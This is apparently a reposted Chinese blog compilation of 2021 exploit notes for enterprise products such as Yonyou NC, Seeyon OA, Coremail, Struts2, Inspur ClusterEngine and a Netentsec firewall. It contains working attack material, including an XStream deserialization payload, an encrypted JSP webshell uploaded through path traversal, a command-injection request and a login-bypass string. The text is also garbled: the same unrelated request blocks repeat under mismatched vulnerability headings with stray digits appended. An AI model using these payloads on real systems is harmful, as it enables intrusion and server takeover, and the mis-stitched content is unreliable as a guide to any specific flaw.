req = requests.post("http://+"ip"+POST /core/api/wopi/index.php?access_token=1&action=contents&path=ZmM0OWp3bDgxbDE3WlhocFlCVUl4ZDFvRkNYeDRVaGtQbklJYlVSUjV2VjRzLzBwUkJ0Y051ZHl4QzVITFlvN205cENqZktDY1lyNHRQQ0pWblU= HTTP/1.1Host: word.comContent-Length: 18Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://word.comReferer: http://word.com/user.php?mod=loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close<?php phpinfo();?>1", headers=uploadHeader, verify=False, data=data, timeout=25)print (req.text)

用友NC协同管理软件存在目录遍历漏洞

漏洞关注点

POST /core/api/wopi/index.php?access_token=1&action=contents&path=ZmM0OWp3bDgxbDE3WlhocFlCVUl4ZDFvRkNYeDRVaGtQbklJYlVSUjV2VjRzLzBwUkJ0Y051ZHl4QzVITFlvN205cENqZktDY1lyNHRQQ0pWblU= HTTP/1.1Host: word.comContent-Length: 18Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://word.comReferer: http://word.com/user.php?mod=loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close<?php phpinfo();?>3

金山终端安全系统 V8存在默认口令

默认口令

POST /core/api/wopi/index.php?access_token=1&action=contents&path=ZmM0OWp3bDgxbDE3WlhocFlCVUl4ZDFvRkNYeDRVaGtQbklJYlVSUjV2VjRzLzBwUkJ0Y051ZHl4QzVITFlvN205cENqZktDY1lyNHRQQ0pWblU= HTTP/1.1Host: word.comContent-Length: 18Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://word.comReferer: http://word.com/user.php?mod=loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close<?php phpinfo();?>4

金山终端安全系统 V8/V9存在文件上传漏洞

漏洞关注点

POST /core/api/wopi/index.php?access_token=1&action=contents&path=ZmM0OWp3bDgxbDE3WlhocFlCVUl4ZDFvRkNYeDRVaGtQbklJYlVSUjV2VjRzLzBwUkJ0Y051ZHl4QzVITFlvN205cENqZktDY1lyNHRQQ0pWblU= HTTP/1.1Host: word.comContent-Length: 18Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://word.comReferer: http://word.com/user.php?mod=loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close<?php phpinfo();?>5

齐治堡垒机某版本任意用户登录

漏洞关注点

POST /core/api/wopi/index.php?access_token=1&action=contents&path=ZmM0OWp3bDgxbDE3WlhocFlCVUl4ZDFvRkNYeDRVaGtQbklJYlVSUjV2VjRzLzBwUkJ0Y051ZHl4QzVITFlvN205cENqZktDY1lyNHRQQ0pWblU= HTTP/1.1Host: word.comContent-Length: 18Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://word.comReferer: http://word.com/user.php?mod=loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close<?php phpinfo();?>6

POC

POST /core/api/wopi/index.php?access_token=1&action=contents&path=ZmM0OWp3bDgxbDE3WlhocFlCVUl4ZDFvRkNYeDRVaGtQbklJYlVSUjV2VjRzLzBwUkJ0Y051ZHl4QzVITFlvN205cENqZktDY1lyNHRQQ0pWblU= HTTP/1.1Host: word.comContent-Length: 18Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://word.comReferer: http://word.com/user.php?mod=loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close<?php phpinfo();?>6?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm

致远OA远程代码执行漏洞

漏洞细节

未公开

Coremail 邮件系统任意文件上传漏洞【历史漏洞】

漏洞危害:

其特定版本范围内存在任意文件上传漏洞,攻击者可以上传webshell,从而造成远程代码执行。

影响范围

POST /core/api/wopi/index.php?access_token=1&action=contents&path=ZmM0OWp3bDgxbDE3WlhocFlCVUl4ZDFvRkNYeDRVaGtQbklJYlVSUjV2VjRzLzBwUkJ0Y051ZHl4QzVITFlvN205cENqZktDY1lyNHRQQ0pWblU= HTTP/1.1Host: word.comContent-Length: 18Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://word.comReferer: http://word.com/user.php?mod=loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close<?php phpinfo();?>8

漏洞复现:

使用网上流传POC 进行验证 https://github.com/xiaoshu-bit/CoreMailUploadRce

POST /core/api/wopi/index.php?access_token=1&action=contents&path=ZmM0OWp3bDgxbDE3WlhocFlCVUl4ZDFvRkNYeDRVaGtQbklJYlVSUjV2VjRzLzBwUkJ0Y051ZHl4QzVITFlvN205cENqZktDY1lyNHRQQ0pWblU= HTTP/1.1Host: word.comContent-Length: 18Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://word.comReferer: http://word.com/user.php?mod=loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close<?php phpinfo();?>9

文件上传poc:

GET /Audio/anything/hls/..\data\jellyfin.db/stream.mp3/ HTTP/1.1 
GET /Videos/anything/hls/m/..\data\jellyfin.db HTTP/1.1 
GET 
/Videos/anything/hls/..\data\jellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09b 
f3d8f7 HTTP/1.10

上传文位置: http://ip:port/coremail/justtest.jsp

Apache Struts2补丁绕过0day(实际为S2-052)

影响版本

2.1.1到2.3.x之前的2.3.x和2.5.13之前的2.5.x

漏洞关注点:

GET /Audio/anything/hls/..\data\jellyfin.db/stream.mp3/ HTTP/1.1 
GET /Videos/anything/hls/m/..\data\jellyfin.db HTTP/1.1 
GET 
/Videos/anything/hls/..\data\jellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09b 
f3d8f7 HTTP/1.11

原exp

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="GET /Audio/anything/hls/..\data\jellyfin.db/stream.mp3/ HTTP/1.1 
GET /Videos/anything/hls/m/..\data\jellyfin.db HTTP/1.1 
GET 
/Videos/anything/hls/..\data\jellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09b 
f3d8f7 HTTP/1.11">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>calc.exe</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry></map>

其他信息

GET /Audio/anything/hls/..\data\jellyfin.db/stream.mp3/ HTTP/1.1 
GET /Videos/anything/hls/m/..\data\jellyfin.db HTTP/1.1 
GET 
/Videos/anything/hls/..\data\jellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09b 
f3d8f7 HTTP/1.13
GET /Audio/anything/hls/..\data\jellyfin.db/stream.mp3/ HTTP/1.1 
GET /Videos/anything/hls/m/..\data\jellyfin.db HTTP/1.1 
GET 
/Videos/anything/hls/..\data\jellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09b 
f3d8f7 HTTP/1.14

4月11-4月12安全情报

浪潮 ClusterEngineV4.0 任意命令执行

漏洞关注点

GET /Audio/anything/hls/..\data\jellyfin.db/stream.mp3/ HTTP/1.1 
GET /Videos/anything/hls/m/..\data\jellyfin.db HTTP/1.1 
GET 
/Videos/anything/hls/..\data\jellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09b 
f3d8f7 HTTP/1.15

fofa_dork

GET /Audio/anything/hls/..\data\jellyfin.db/stream.mp3/ HTTP/1.1 
GET /Videos/anything/hls/m/..\data\jellyfin.db HTTP/1.1 
GET 
/Videos/anything/hls/..\data\jellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09b 
f3d8f7 HTTP/1.16

POC

地址 : https://github.com/xiaoshu-bit/ClusterEngineRce

GET /Audio/anything/hls/..\data\jellyfin.db/stream.mp3/ HTTP/1.1 
GET /Videos/anything/hls/m/..\data\jellyfin.db HTTP/1.1 
GET 
/Videos/anything/hls/..\data\jellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09b 
f3d8f7 HTTP/1.17
GET /Audio/anything/hls/..\data\jellyfin.db/stream.mp3/ HTTP/1.1 
GET /Videos/anything/hls/m/..\data\jellyfin.db HTTP/1.1 
GET 
/Videos/anything/hls/..\data\jellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09b 
f3d8f7 HTTP/1.18

志远OA session泄露&&任意文件上传漏洞

漏洞描述

致远OA通过发送特殊请求获取session,在通过文件上传接口上传webshell控制服务器

fofa

GET /Audio/anything/hls/..\data\jellyfin.db/stream.mp3/ HTTP/1.1 
GET /Videos/anything/hls/m/..\data\jellyfin.db HTTP/1.1 
GET 
/Videos/anything/hls/..\data\jellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09b 
f3d8f7 HTTP/1.19

漏洞复现

首先是一个获取管理cookie的漏洞。然后上传压缩文件进行解压。达到getshell的目的

POST /WebReport/ReportServer? 
op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update .jsp HTTP/1.1 Host: 192.168.169.138:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/81.0.4044.92 Safari/537.36 Connection: close 
Accept-Au: 0c42b2f264071be0507acea1876c74 
Content-Type: text/xml;charset=UTF-8 Content-Length: 675 {"__CONTENT__":"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends 
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return 
super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\"pass\")!=null) {String 
k=(\"\"+UUID.randomUUID()).replace(\"- 
\",\"\").substring(16);session.putValue(\"u\",k);out.print(k);return;}Cipher 
c=Cipher.getInstance(\"AES\");c.init(2,new 
SecretKeySpec((session.getValue(\"u\")+\"\").getBytes(),\"AES\"));new 
U(this.getClass().getClassLoader()).g(c.doFinal(new 
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta 
nce().equals(pageContext);%>","__CHARSET__":"UTF-8"}0

上传压缩包

POST /WebReport/ReportServer? 
op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update .jsp HTTP/1.1 Host: 192.168.169.138:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/81.0.4044.92 Safari/537.36 Connection: close 
Accept-Au: 0c42b2f264071be0507acea1876c74 
Content-Type: text/xml;charset=UTF-8 Content-Length: 675 {"__CONTENT__":"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends 
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return 
super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\"pass\")!=null) {String 
k=(\"\"+UUID.randomUUID()).replace(\"- 
\",\"\").substring(16);session.putValue(\"u\",k);out.print(k);return;}Cipher 
c=Cipher.getInstance(\"AES\");c.init(2,new 
SecretKeySpec((session.getValue(\"u\")+\"\").getBytes(),\"AES\"));new 
U(this.getClass().getClassLoader()).g(c.doFinal(new 
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta 
nce().equals(pageContext);%>","__CHARSET__":"UTF-8"}1

然后解压

POST /WebReport/ReportServer? 
op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update .jsp HTTP/1.1 Host: 192.168.169.138:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/81.0.4044.92 Safari/537.36 Connection: close 
Accept-Au: 0c42b2f264071be0507acea1876c74 
Content-Type: text/xml;charset=UTF-8 Content-Length: 675 {"__CONTENT__":"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends 
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return 
super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\"pass\")!=null) {String 
k=(\"\"+UUID.randomUUID()).replace(\"- 
\",\"\").substring(16);session.putValue(\"u\",k);out.print(k);return;}Cipher 
c=Cipher.getInstance(\"AES\");c.init(2,new 
SecretKeySpec((session.getValue(\"u\")+\"\").getBytes(),\"AES\"));new 
U(this.getClass().getClassLoader()).g(c.doFinal(new 
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta 
nce().equals(pageContext);%>","__CHARSET__":"UTF-8"}2

getshell 脚本

POST /WebReport/ReportServer? 
op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update .jsp HTTP/1.1 Host: 192.168.169.138:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/81.0.4044.92 Safari/537.36 Connection: close 
Accept-Au: 0c42b2f264071be0507acea1876c74 
Content-Type: text/xml;charset=UTF-8 Content-Length: 675 {"__CONTENT__":"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends 
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return 
super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\"pass\")!=null) {String 
k=(\"\"+UUID.randomUUID()).replace(\"- 
\",\"\").substring(16);session.putValue(\"u\",k);out.print(k);return;}Cipher 
c=Cipher.getInstance(\"AES\");c.init(2,new 
SecretKeySpec((session.getValue(\"u\")+\"\").getBytes(),\"AES\"));new 
U(this.getClass().getClassLoader()).g(c.doFinal(new 
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta 
nce().equals(pageContext);%>","__CHARSET__":"UTF-8"}3

shell地址:/seeyon/common/designer/pageLayout/a2345678.jsp

网康下一代防火墙RCE

漏洞位置

POST /WebReport/ReportServer? 
op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update .jsp HTTP/1.1 Host: 192.168.169.138:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/81.0.4044.92 Safari/537.36 Connection: close 
Accept-Au: 0c42b2f264071be0507acea1876c74 
Content-Type: text/xml;charset=UTF-8 Content-Length: 675 {"__CONTENT__":"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends 
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return 
super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\"pass\")!=null) {String 
k=(\"\"+UUID.randomUUID()).replace(\"- 
\",\"\").substring(16);session.putValue(\"u\",k);out.print(k);return;}Cipher 
c=Cipher.getInstance(\"AES\");c.init(2,new 
SecretKeySpec((session.getValue(\"u\")+\"\").getBytes(),\"AES\"));new 
U(this.getClass().getClassLoader()).g(c.doFinal(new 
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta 
nce().equals(pageContext);%>","__CHARSET__":"UTF-8"}4

POC

POST POST /WebReport/ReportServer? 
op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update .jsp HTTP/1.1 Host: 192.168.169.138:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/81.0.4044.92 Safari/537.36 Connection: close 
Accept-Au: 0c42b2f264071be0507acea1876c74 
Content-Type: text/xml;charset=UTF-8 Content-Length: 675 {"__CONTENT__":"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends 
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return 
super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\"pass\")!=null) {String 
k=(\"\"+UUID.randomUUID()).replace(\"- 
\",\"\").substring(16);session.putValue(\"u\",k);out.print(k);return;}Cipher 
c=Cipher.getInstance(\"AES\");c.init(2,new 
SecretKeySpec((session.getValue(\"u\")+\"\").getBytes(),\"AES\"));new 
U(this.getClass().getClassLoader()).g(c.doFinal(new 
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta 
nce().equals(pageContext);%>","__CHARSET__":"UTF-8"}4 HTTP/1.1
Host: 192.168.10.6
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=q885n85a5es9i83d26rm102sk3; ys-active_page=s%3A
Content-Type: application/x-www-form-urlencoded
Content-Length: 160

{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;whoami>/var/www/html/1.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}

其他信息

POST /WebReport/ReportServer? 
op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update .jsp HTTP/1.1 Host: 192.168.169.138:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/81.0.4044.92 Safari/537.36 Connection: close 
Accept-Au: 0c42b2f264071be0507acea1876c74 
Content-Type: text/xml;charset=UTF-8 Content-Length: 675 {"__CONTENT__":"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends 
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return 
super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\"pass\")!=null) {String 
k=(\"\"+UUID.randomUUID()).replace(\"- 
\",\"\").substring(16);session.putValue(\"u\",k);out.print(k);return;}Cipher 
c=Cipher.getInstance(\"AES\");c.init(2,new 
SecretKeySpec((session.getValue(\"u\")+\"\").getBytes(),\"AES\"));new 
U(this.getClass().getClassLoader()).g(c.doFinal(new 
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta 
nce().equals(pageContext);%>","__CHARSET__":"UTF-8"}6

参考来源

https://www.freebuf.com/articles/268901.html
http://www.hackdig.com/


本文出自:https://www.cnblogs.com/KHZ521/p/14662410.html

标签: 2021 HW期间 公布 漏洞 利用

发表评论

© 2017-2021 夜思者 All Rights Reserved. / 黔ICP备20005842号-7 贵公网安备 52262502000160号贵公网安备 52262502000160号 / 本站由:金山云腾讯云Z-BlogPHP提供驱动力,越百 提供技术支持 /